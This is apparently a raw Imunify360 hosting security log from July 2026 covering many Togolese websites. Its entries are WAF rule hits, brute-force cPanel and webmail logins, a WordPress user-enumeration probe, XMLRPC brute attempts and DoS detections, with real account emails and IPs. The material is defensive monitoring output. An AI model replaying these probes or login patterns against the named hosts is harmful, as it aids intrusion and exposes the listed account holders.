IM360 WAF: Possible XSS in arguments||MV:<!-- wp:image {\"id\":13547,\"sizeslug\":\"large\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://lacs1.mairie.tg/wp-content/uploads/2026/07/whatsapp-image-2026-03-05-at-06.53.45-1024x577.jpeg\" alt=\"\" class=\"wp-image-13547\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>en raison des fortes pluies de ces derniers jours et face aux risques li\xc3\xa9s \xc3\xa0 la mont\xc3\xa9e soudaine des eaux des rivi\xc3\xa8res, des fleuves et des lacs, le maire invite la population \xc3\xa0 la plus grande vigilance et au respect des consignes de s\xc3\xa9curit\xc3\xa9. la suite \xc3\xa0 lire dans la note ci-dessus. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:file {\"id\":13548,\"href\":\"https://lacs1.mairie.tg/wp-content/uploads/2026/07/communique-n019.pdf\",\"displaypreview\":true} -->\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https://lacs1.mairie.tg/wp-content/uploads/2026/07/communique-n019.pdf\" type=\"application/pdf\" style=\"width:100%;height:600px\" aria-label=\"communique n`019\"></object><a id=\"wp-block-file--media-c7ab9ccd-a1eb-41f4-b57d-dec04fe0838a\" href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/07/communique-n019.pdf\">communique n`019</a><a href=\"https://lacs1.mairie.tg/wp-content/uploads/2026/07/communique-n019.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-c7ab9ccd-a1eb-41f4-b57d-dec04fe0838a\">t\xc3\xa9l\xc3\xa9charger</a></div>\n<!-- /wp:file -->\n\n<!-- wp:paragraph -->\n<p>cellule de communication de la commune des lacs 1</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>contact : communication@lacs1.mairie.tg/</p>\n<!-- /wp:paragraph -->||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=lacs1.mairie.t&_locale=user||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:47:46 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /cpsess3174836570/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:48:46 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /cpsess3174836570/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.212.236.255
country_id: 6252001
description:
[2026-07-01 15:49:36 +0000] info [cpaneld] 216.212.236.255 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.28.162.197
country_id: 6252001
description:
[2026-07-01 15:49:38 +0000] info [cpaneld] 138.28.162.197 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:49:46 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /cpsess3174836570/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.53.44.19
country_id: 6252001
description:
[2026-07-01 15:49:33 +0000] info [cpaneld] 68.53.44.19 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 40.142.172.165
country_id: 6252001
description:
[2026-07-01 15:49:41 +0000] info [cpaneld] 40.142.172.165 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.189.17.135
country_id: 6252001
description:
[2026-07-01 15:49:49 +0000] info [cpaneld] 75.189.17.135 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.11.103.9
country_id: 6252001
description:
[2026-07-01 15:49:52 +0000] info [cpaneld] 100.11.103.9 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.16.137.200
country_id: 6252001
description:
[2026-07-01 15:49:55 +0000] info [cpaneld] 98.16.137.200 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.198.121
country_id: 2363686
description:
[2026-07-01 15:50:27 +0000] info [webmaild] 196.168.198.121 - tlemou@caissederetraites.tg "GET /cpsess5696081225/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.96.133] != Current IP Address [196.168.198.121]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.15.132
country_id: 6252001
domain: bawasongroup.tchambainvest.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bawasongroup.tchambainvest.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.66
country_id: 130758
description:
2026-07-01 15:51:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.66]:13664: 535 Incorrect authentication data (set_id=lla)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.62.160.179
country_id: 3625428
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/actualite/detail/seminaire-du-8-mai-2025-le-cat-accompagne-la-mise-en-oeuvre-de-la-nouvelle-convention-collective HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.61.217.47
country_id: 2017370
domain: misstogo.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:rBm{yIE2.misstogo.tg||Method:blogger.getUsersBlogs


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 15:52:16 +0000] info [webmaild] 160.242.195.10 - hboroze@caissederetraites.tg "GET /cpsess2449206087/3rdparty/roundcube/skins/elastic/watermark.html HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [160.242.199.70] != Current IP Address [160.242.195.10]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.116.202
country_id: 2363686
description:
[2026-07-01 15:53:32 +0000] info [webmaild] 196.170.116.202 - agencekpalime@caissederetraites.tg "GET /cpsess1942618122/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:53:28 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 185.242.3.60
country_id: 2750405
description:
Denial of Service (DoS) attack was discovered from 185.242.3.60: 80 connections per 30 seconds to 80 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 177.72.25.70
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 177.72.25.70: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.239.152.213
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.239.152.213: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-01 15:56:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:29544: 535 Incorrect authentication data (set_id=sensu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-01 15:58:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:28400: 535 Incorrect authentication data (set_id=sensu)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 15:59:21 +0000] info [webmaild] 160.242.195.10 - ydoni@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.61.185.222
country_id: 286963
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/71.jpeg HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.124.128
country_id: 6252001
description:
[2026-07-01 16:00:11 +0000] info [cpaneld] 172.59.124.128 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.255.94.49
country_id: 6252001
description:
[2026-07-01 16:00:18 +0000] info [cpaneld] 162.255.94.49 - belalitg "GET /login/?login_only=1&user=belalitg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belalitg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.29.194.140
country_id: 6252001
description:
[2026-07-01 16:00:21 +0000] info [cpaneld] 76.29.194.140 - belal "GET /login/?login_only=1&user=belal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belal (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.181.195.181
country_id: 6252001
description:
[2026-07-01 16:00:25 +0000] info [cpaneld] 67.181.195.181 - bela "GET /login/?login_only=1&user=bela&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bela (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.127.127.186
country_id: 6252001
description:
[2026-07-01 16:00:14 +0000] info [cpaneld] 24.127.127.186 - belali "GET /login/?login_only=1&user=belali&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belali (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.218.240.65
country_id: 6252001
description:
[2026-07-01 16:00:33 +0000] info [cpaneld] 174.218.240.65 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-07-01 16:02:07 +0000] info [webmaild] 160.242.195.10 - hboroze@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.66
country_id: 130758
description:
2026-07-01 16:02:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.66]:34987: 535 Incorrect authentication data (set_id=ticker)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [01/Jul/2026:16:05:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526054&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782921917 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.23.201.162
country_id: 6252001
domain: www.tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tdn.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.104.72.79
country_id: 6252001
description:
[2026-07-01 16:07:40 +0000] info [cpaneld] 99.104.72.79 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.177.213.68
country_id: 6252001
description:
[2026-07-01 16:07:51 +0000] info [cpaneld] 24.177.213.68 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 172.253.15.237
country_id: 6252001
domain: ccl.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.81.83.108
country_id: 6252001
description:
[2026-07-01 16:07:59 +0000] info [cpaneld] 67.81.83.108 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.212.41.147
country_id: 6252001
description:
[2026-07-01 16:07:53 +0000] info [cpaneld] 72.212.41.147 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.124.185.22
country_id: 6252001
description:
[2026-07-01 16:07:44 +0000] info [cpaneld] 38.124.185.22 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.142.69.147
country_id: 6252001
description:
[2026-07-01 16:07:47 +0000] info [cpaneld] 74.142.69.147 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-07-01 16:08:15 dovecot_login authenticator failed for H=(SCRPMKD) [196.170.122.162]:63764: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 16:11:39 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46274: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.250.255.18
country_id: 1282988
description:
160.250.255.18 - - [01/Jul/2026:16:13:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13066391&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-186760qitems%252Fetidm86cc.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922423 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-186760qitems/etidm86cc.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.250.255.18


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.66
country_id: 130758
description:
2026-07-01 16:13:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.66]:57796: 535 Incorrect authentication data (set_id=player)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 101.43.230.32
country_id: 1814991
description:
101.43.230.32 - - [01/Jul/2026:16:13:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6801045&pdata=https%253A%252F%252Fhaplucia-togo.tg%252Fcategory%252Fsite-templates%252Fmiscellaneous&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922421 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/category/site-templates/miscellaneous" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:101.43.230.32


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.18.34.252
country_id: 1643084
description:
103.18.34.252 - - [01/Jul/2026:16:15:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119365&pdata=https%253A%252F%252Fmisstogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922510 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.18.34.252


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.11.135.38
country_id: 2750405
description:
2026-07-01 16:15:05 dovecot_plain authenticator failed for H=(3lkedqfz570yhnpbfrdrcnw4c82y) [185.11.135.38]:39144: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 16:16:03 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 16:16:25 +0000] info [webmaild] 196.171.67.165 - agencekara@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 46.224.214.87
country_id: 2921044
description:
46.224.214.87 - - [01/Jul/2026:16:16:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066331&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922590 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.224.214.87


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 16:17:46 +0000] info [webmaild] 196.171.67.165 - agencekara@caissederetraites.tg "POST /cpsess9605664766/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-07-01 16:18:10 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:43186: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 16:18:02 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56488: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 16:18:46 +0000] info [webmaild] 196.171.67.165 - agencekara@caissederetraites.tg "POST /cpsess9605664766/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 16:19:46 +0000] info [webmaild] 196.171.67.165 - agencekara@caissederetraites.tg "POST /cpsess9605664766/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.138.137.94
country_id: 617790
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1685 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.147.206.228
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1660 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.158.216.7
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1733 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.253.213
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:172.83.253.213||TA:172.83.253.213||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.163.193.132
country_id: 1512440
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=346 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.163.89.127
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:193.163.89.127||TA:193.163.89.127||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [01/Jul/2026:16:21:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132117&pdata=https%253A%252F%252Fpnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922912 HTTP/2.0" 302 0 pnls.tg "https://pnls.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 16:22:08 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60846: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [01/Jul/2026:16:22:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040149&pdata=https%253A%252F%252Fpnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922953 HTTP/2.0" 302 0 pnls.tg "https://pnls.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [01/Jul/2026:16:22:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183208&pdata=https%253A%252F%252Fpnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782922921 HTTP/2.0" 302 0 pnls.tg "https://pnls.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 85.12.29.110
country_id: 6251999
description:
Jul  1 16:25:21 ns5 pure-ftpd[2586514]: (?@85.12.29.110) [WARNING] Authentication failed for user [a.kesso]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.29.160
country_id: 2750405
domain: vo2.mairie.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/Vo2.mairie.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 89.249.193.126
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:89.249.193.126||TA:89.249.193.126||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.111.8
country_id: 798544
description:
Jul  1 16:31:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.111.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77350257
name: IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2
abuser: 102.64.165.108
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Subscriber and Arbitrary Shortcode Execution in WordPress < 6.3.2||MVN:ARGS:shortcode||MV:[embed]https://youtu.be/Tb3BPU6YhtI[/embed]||WPU:direct7tv||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.178
country_id: 6252001
description:
Jul  1 16:31:56 ns5 pure-ftpd[2590147]: (?@198.235.24.178) [INFO] New connection from 198.235.24.178


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.80
country_id: 933860
description:
Jul  1 16:32:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.80 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 182.8.32.0
country_id: 1643084
description:
Denial of Service (DoS) attack was discovered from 182.8.32.0: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.80
country_id: 933860
description:
Jul  1 16:32:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.80 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 165.22.34.223
country_id: 6252001
domain: kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 177.55.63.186
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 177.55.63.186: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11000
